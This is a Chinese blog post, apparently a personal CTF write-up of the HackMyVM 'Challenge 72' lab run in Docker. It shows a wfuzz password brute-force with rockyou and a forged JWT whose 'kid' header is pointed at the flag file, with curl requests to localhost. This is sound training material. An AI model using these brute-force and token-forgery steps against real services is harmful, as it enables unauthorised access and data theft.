<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 6.3.0">
  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
  <link rel="mask-icon" href="/images/logo.svg" color="#222">

<link rel="stylesheet" href="/css/main.css">


<link rel="stylesheet" href="/lib/font-awesome/css/all.min.css">

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"ghostlitao.gitee.io","root":"/","scheme":"Gemini","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":false,"show_result":false,"style":null},"back2top":{"enable":true,"sidebar":false,"scrollpercent":false},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":false,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}}};
  </script>

  <meta name="description" content="启动看下 ReadMe.md 里面有了几个要执行的命令:  安装 Docker docker build -t fr1end .  docker run --name&#x3D;fr1end -p1337:80 -p4000:4000 fr1end  这样在宿主机的1337和4000 端口就启动了，这里提醒下不要改端口，系统写死了访问路径，改了之后跑起来有问题。其实我还习惯加一下 -rm （运行完自己清理）">
<meta property="og:type" content="article">
<meta property="og:title" content="HMV Challenge 72">
<meta property="og:url" content="https://ghostlitao.gitee.io/2024/04/09/hmv-challenge-72/index.html">
<meta property="og:site_name" content="去找Todd">
<meta property="og:description" content="启动看下 ReadMe.md 里面有了几个要执行的命令:  安装 Docker docker build -t fr1end .  docker run --name&#x3D;fr1end -p1337:80 -p4000:4000 fr1end  这样在宿主机的1337和4000 端口就启动了，这里提醒下不要改端口，系统写死了访问路径，改了之后跑起来有问题。其实我还习惯加一下 -rm （运行完自己清理）">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://ghostlitao.gitee.io/2024/04/09/hmv-challenge-72/login_72.png">
<meta property="og:image" content="https://ghostlitao.gitee.io/2024/04/09/hmv-challenge-72/WX20240409-101943.png">
<meta property="article:published_time" content="2024-04-09T00:29:08.000Z">
<meta property="article:modified_time" content="2024-04-18T05:21:38.192Z">
<meta property="article:author" content="Todd">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://ghostlitao.gitee.io/2024/04/09/hmv-challenge-72/login_72.png">

<link rel="canonical" href="https://ghostlitao.gitee.io/2024/04/09/hmv-challenge-72/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'zh-CN'
  };
</script>

  <title>HMV Challenge 72 | 去找Todd</title>
  


  <script>
    var _hmt = _hmt || [];
    (function() {
      var hm = document.createElement("script");
      hm.src = "https://hm.baidu.com/hm.js?d988341c748563d16048e8e7dab0f384";
      var s = document.getElementsByTagName("script")[0];
      s.parentNode.insertBefore(hm, s);
    })();
  </script>




  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">去找Todd</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
      <p class="site-subtitle" itemprop="description">Todd的博客</p>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="main-menu menu">
        <li class="menu-item menu-item-home">

    <a href="/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>

  </li>
  </ul>
</nav>




</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content post posts-expand">
            

    
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="https://ghostlitao.gitee.io/2024/04/09/hmv-challenge-72/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="https://mp-b6a394ba-6e60-4cdf-941a-67c55476595e.cdn.bspapp.com/cloudstorage/43eb35ef-1aed-4d61-9ebb-a777fa49e70a.">
      <meta itemprop="name" content="Todd">
      <meta itemprop="description" content="把生命浪费在美好的实物上">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="去找Todd">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          HMV Challenge 72
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-calendar"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              <time title="创建时间：2024-04-09 08:29:08" itemprop="dateCreated datePublished" datetime="2024-04-09T08:29:08+08:00">2024-04-09</time>
            </span>
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="far fa-calendar-check"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2024-04-18 13:21:38" itemprop="dateModified" datetime="2024-04-18T13:21:38+08:00">2024-04-18</time>
              </span>
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-folder"></i>
              </span>
              <span class="post-meta-item-text">分类于</span>
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/%E9%9D%B6%E5%9C%BA/" itemprop="url" rel="index"><span itemprop="name">靶场</span></a>
                </span>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <h1 id="启动"><a href="#启动" class="headerlink" title="启动"></a>启动</h1><p>看下 ReadMe.md 里面有了几个要执行的命令:</p>
<ol>
<li>安装 Docker</li>
<li><code>docker build -t fr1end .</code> </li>
<li><code>docker run --name=fr1end -p1337:80 -p4000:4000 fr1end</code></li>
</ol>
<p>这样在宿主机的1337和4000 端口就启动了，这里提醒下不要改端口，系统写死了访问路径，改了之后跑起来有问题。<br>其实我还习惯加一下 -rm （运行完自己清理） -d（不用占着一个终端，不过要自己 stop），变成：<br><code>docker run --rm --name=fr1end -p1337:80 -p4000:4000 -d fr1end</code></p>
<p>除了自己折腾，题目也有.&#x2F;build_docker.sh 把刚才的命令打包了。直接执行也行。</p>
<p>玩好了也有对应的清理命令：</p>
<ol>
<li><code>docker rm fr1end -f</code> 删容器，如果加了–rm 就不用执行这一步。</li>
<li><code>docker rmi fr1end</code> 删镜像</li>
</ol>
<span id="more"></span>


<p>按照题目设计，系统运行在 <a target="_blank" rel="noopener" href="http://localhost:1337/">http://localhost:1337/</a> 但是我们已经知道还有一个 4000 端口。</p>
<h1 id="信息收集"><a href="#信息收集" class="headerlink" title="信息收集"></a>信息收集</h1><ul>
<li><p>打开 <a target="_blank" rel="noopener" href="http://localhost:1337/">http://localhost:1337/</a> 瞅一眼，是个登陆界面，错误的账号密码提示是 <code>Username or password incorrect. I said Friend, Gandalf.</code>。<br><img src="/2024/04/09/hmv-challenge-72/login_72.png" alt="登陆界面图"></p>
</li>
<li><p>看 Title 是 React App，前端应该是 React 写的。</p>
</li>
<li><p>看起来 nginx 运行在 1337 端口，而后端是 4000 端口</p>
</li>
<li><p>登陆的头信息中看到后端是Express框架</p>
</li>
</ul>
<h1 id="渗透"><a href="#渗透" class="headerlink" title="渗透"></a>渗透</h1><p>暂时没有其他信息，先尝试爆破登陆界面。假设用户名就是Gandalf<br><code>wfuzz -w /usr/share/wordlists/rockyou.txt -d &quot;username=Gandalf&amp;password=FUZZ&quot; -u http://localhost:1337/login -H &quot;Content-Type: application/x-www-form-urlencoded&quot; --hc 405</code></p>
<p>跑一半的时候，突然想起来这个台词，Speak Friend and Enter!<br>那么用户名应该是 Gandalf 密码就是 Mellon 了。果然登陆成功。<br>获取了一个 accessToken , 去 jwt.io 解密一下:<br><img src="/2024/04/09/hmv-challenge-72/WX20240409-101943.png" alt="JWT截图"></p>
<p>然后看到有一个 url 出错了 ：<a target="_blank" rel="noopener" href="http://0.0.0.0:4000/validate">http://0.0.0.0:4000/validate</a></p>
<p>手动请求下：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -X POST http://localhost:4000/validate -d &#x27;&#123;&quot;accessToken&quot;:&quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4va2V5cy9wdWJsaWNrZXkuY3J0In0.eyJ1c2VybmFtZSI6IkdhbmRhbGYiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTI2Mjg5NzV9.M2UJAmoWs9NVCaj9hJGi1e-picg7TtUw_auzr19QF5Y&quot;&#125;&#x27; -H &quot;Content-Type:application/json&quot;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#123;&quot;message&quot;:&quot;Gandalf&quot;,&quot;k&quot;:&quot;9C92820F7A8C1C6EADD7118623594903C33FE2E55EC667B02C0185930AB94437&quot;&#125;</span><br></pre></td></tr></table></figure>
<p>看到 k 读出来了。回想起刚才的jwt 的头 Kid的头：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  &quot;alg&quot;: &quot;HS256&quot;,</span><br><span class="line">  &quot;typ&quot;: &quot;JWT&quot;,</span><br><span class="line">  &quot;kid&quot;: &quot;./keys/publickey.crt&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>然后我偷偷看了下 flag.txt 的位置，就和publickey.crt 放在一起，那么剩下的就简单了。</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 现在已知 publickey ， 需要伪造一个 jwt, header 里的 kid 改成 ./keys/flag.txt</span></span><br><span class="line"><span class="comment"># 因为要在http 协议中使用， 注意在 base64 后， =被省略、+替换成-，/替换成_ </span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 先处理 header 部分：</span></span><br><span class="line"><span class="built_in">echo</span> -n <span class="string">&#x27;&#123;&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;,&quot;kid&quot;:&quot;./keys/flag.txt&quot;&#125;&#x27;</span> | <span class="built_in">base64</span></span><br><span class="line"><span class="comment"># 得到：</span></span><br><span class="line">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4va2V5cy9mbGFnLnR4dCJ9</span><br><span class="line"></span><br><span class="line"><span class="comment"># 然后处理 payload 部分：</span></span><br><span class="line"><span class="built_in">echo</span> -n <span class="string">&#x27;&#123;&quot;username&quot;:&quot;Gandalf&quot;,&quot;role&quot;:&quot;admin&quot;,&quot;iat&quot;:1712628975&#125;&#x27;</span> | <span class="built_in">base64</span> </span><br><span class="line"></span><br><span class="line">eyJ1c2VybmFtZSI6IkdhbmRhbGYiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTI2Mjg5NzV9</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 最后是签名部分:</span></span><br><span class="line"><span class="built_in">echo</span> -n <span class="string">&#x27;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4va2V5cy9mbGFnLnR4dCJ9.eyJ1c2VybmFtZSI6IkdhbmRhbGYiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTI2Mjg5NzV9&#x27;</span> | openssl dgst -sha256 -mac HMAC -macopt hexkey:9C92820F7A8C1C6EADD7118623594903C33FE2E55EC667B02C0185930AB94437 | <span class="built_in">base64</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 得到</span></span><br><span class="line">U0hBMi0yNTYoc3RkaW4pPSAyYWNkMTJkY2RlYzRlOTQ0YzVjMzdkODRmM2QxOGMwNGZlYTJmNTA0ZDQwNGI3ZjcwMWQ1NGUyNGVkYTI0ZjU2Cg==</span><br><span class="line"></span><br><span class="line"><span class="comment"># 最后拼起来访问</span></span><br><span class="line">curl -X POST http://localhost:4000/validate -d <span class="string">&#x27;&#123;&quot;accessToken&quot;:&quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4va2V5cy9mbGFnLnR4dCJ9.eyJ1c2VybmFtZSI6IkdhbmRhbGYiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3MTI2Mjg5NzV9.U0hBMi0yNTYoc3RkaW4pPSAyYWNkMTJkY2RlYzRlOTQ0YzVjMzdkODRmM2QxOGMwNGZlYTJmNTA0ZDQwNGI3ZjcwMWQ1NGUyNGVkYTI0ZjU2Cg&quot;&#125;&#x27;</span> -H <span class="string">&quot;Content-Type:application/json&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 得到 Flag</span></span><br><span class="line">&#123;<span class="string">&quot;message&quot;</span>:<span class="string">&quot;Invalid Token&quot;</span>,<span class="string">&quot;k&quot;</span>:<span class="string">&quot;HMV&#123;---------------&#125;&quot;</span>&#125;% </span><br><span class="line"><span class="comment"># 此时才发现原来验签不过，也给读了 flag</span></span><br></pre></td></tr></table></figure>

<p>最后释放资源</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">docker rm fr1end -f</span><br><span class="line">docker rmi fr1end</span><br></pre></td></tr></table></figure>

<p>完结撒花。🎉</p>

    </div>

    
    
    

      <footer class="post-footer">

        


        
    <div class="post-nav">
      <div class="post-nav-item">
    <a href="/2024/02/20/sqli-lab-%E5%A4%8D%E7%9B%98/" rel="prev" title="sqli-lab 复盘">
      <i class="fa fa-chevron-left"></i> sqli-lab 复盘
    </a></div>
      <div class="post-nav-item">
    <a href="/2024/04/15/hmv-quick/" rel="next" title="HMV Quick">
      HMV Quick <i class="fa fa-chevron-right"></i>
    </a></div>
    </div>
      </footer>
    
  </article>
  
  
  



          </div>
          

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#%E5%90%AF%E5%8A%A8"><span class="nav-number">1.</span> <span class="nav-text">启动</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86"><span class="nav-number">2.</span> <span class="nav-text">信息收集</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#%E6%B8%97%E9%80%8F"><span class="nav-number">3.</span> <span class="nav-text">渗透</span></a></li></ol></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="Todd"
      src="https://mp-b6a394ba-6e60-4cdf-941a-67c55476595e.cdn.bspapp.com/cloudstorage/43eb35ef-1aed-4d61-9ebb-a777fa49e70a.">
  <p class="site-author-name" itemprop="name">Todd</p>
  <div class="site-description" itemprop="description">把生命浪费在美好的实物上</div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/archives/">
        
          <span class="site-state-item-count">34</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
      <div class="site-state-item site-state-categories">
            <a href="/categories/">
          
        <span class="site-state-item-count">2</span>
        <span class="site-state-item-name">分类</span></a>
      </div>
      <div class="site-state-item site-state-tags">
            <a href="/tags/">
          
        <span class="site-state-item-count">7</span>
        <span class="site-state-item-name">标签</span></a>
      </div>
  </nav>
</div>
  <div class="links-of-author motion-element">
      <span class="links-of-author-item">
        <a href="https://github.com/ghostlitao" title="GitHub → https:&#x2F;&#x2F;github.com&#x2F;ghostlitao" rel="noopener" target="_blank"><i class="fab fa-github fa-fw"></i>GitHub</a>
      </span>
  </div>



      </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        

<div class="copyright">
  
  &copy; 2019 – 
  <span itemprop="copyrightYear">2024</span>
  <span class="with-love">
    <i class="fa fa-heart"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">Todd</span>
</div>
  <div class="powered-by">由 <a href="https://hexo.io/" class="theme-link" rel="noopener" target="_blank">Hexo</a> & <a href="https://theme-next.org/" class="theme-link" rel="noopener" target="_blank">NexT.Gemini</a> 强力驱动
  </div>

        








      </div>
    </footer>
  </div>

  
  <script src="/lib/anime.min.js"></script>
  <script src="/lib/velocity/velocity.min.js"></script>
  <script src="/lib/velocity/velocity.ui.min.js"></script>

<script src="/js/utils.js"></script>

<script src="/js/motion.js"></script>


<script src="/js/schemes/pisces.js"></script>


<script src="/js/next-boot.js"></script>




  















  

  

</body>
</html>
